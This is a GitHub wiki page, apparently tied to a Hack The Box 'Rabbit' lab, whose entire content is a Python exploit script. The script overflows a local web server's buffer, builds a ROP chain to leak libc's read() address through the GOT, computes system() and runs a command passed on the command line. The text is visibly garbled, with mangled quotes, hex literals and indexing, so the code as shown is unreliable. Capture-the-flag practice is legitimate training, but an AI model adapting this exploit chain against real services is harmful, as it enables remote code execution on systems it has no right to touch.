simplesmash - adydawkins/htb-rabbit GitHub Wiki
#!/usr/bin/python
import os, sys, socket
import struct
import requests
addr = (β127.0.0.1β, 9999)
cmd = sys.argv1+"\0"
libcread_offset = 0xe8050
libcsystem_offset = 0Γ42510
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
payload = rβGET /\AAAAβ
#filler β fill buffer to 568 less initial payload of \AAAA (5)
payload += βAβ * (568 -5)
#write stdin to .dynamic using read@plt (0000000000400cf0 <read@plt>:)
someother = struct.pack(β<Qβ, 0Γ000400cf0) #read() call loc
someother += struct.pack(β<Qβ, 0Γ0004011dd) #pop rdi; ret
someother += struct.pack(β<Qβ, 0) #stdin #fd arg
someother += struct.pack(β<Qβ, 0Γ0004011db) #pop rsi; pop r15; ret
someother += struct.pack(β<Qβ, 0Γ000602e28) #.dynamic addr
someother += β0xFFβ # junk for r15
#leak address of read() in randomised libc
someother += struct.pack(β<Qβ, 0Γ400c50) #write() call loc
someother += struct.pack(β<Qβ, 0Γ0004011dd) #pop rdi; ret
someother += struct.pack(β<Qβ, 1) #stdout # fd arg
someother += struct.pack(β<Qβ, 0Γ0004011db) #pop rsi; pop r15; ret
someother += struct.pack(β<Qβ, 0Γ000603088) #read() in GOT
someother += β0xFFβ #junk for r15
#call read@plt to overwrite the ptr stored in GOT
someother += struct.pack(β<Qβ, 0Γ000400cf0) #read() call loc
someother += struct.pack(β<Qβ, 0Γ0004011dd) #pop rdi; ret
someother += struct.pack(β<Qβ, 0) #stdin # fd arg
someother += struct.pack(β<Qβ, 0Γ0004011db) #pop rsi; pop r15; ret
someother += struct.pack(β<Qβ, 0Γ000603088) #read() in GOT
someother += β0xFFβ # junk for r15
#call read@plt with address of system() in libc
someother += struct.pack(β<Qβ, 0Γ000400cf0) #read() call loc
someother += βFFFFFFFFβ # bogus
someother += struct.pack(β<Qβ, 0Γ000602e28) #.dynamic addr system()
payload = payload + someother
s.connect(addr)
s.send(payload+β β+rβHTTP/1.1β+β\nβ+βHost: localhost:9999β+β\nβ+βUser-Agent: curl/7.60.0β+β\nβ+βAccept: /β+β\nβ+β\nβ+β\nβ)
s.send(cmd)
#calculate system() addr and send back
readaddr = struct.unpack(β<Qβ, s.recv(1024))0 #keep this line
print βlibc read() found at 0x%.8xβ % readaddr #keep this line
systemaddr = readaddr β libcread_offset + libcsystem_offset
print βlibc system() found at 0x%.8xβ % systemaddr
s.send(struct.pack(β<Qβ, systemaddr))
print s.recv(1024)
s.close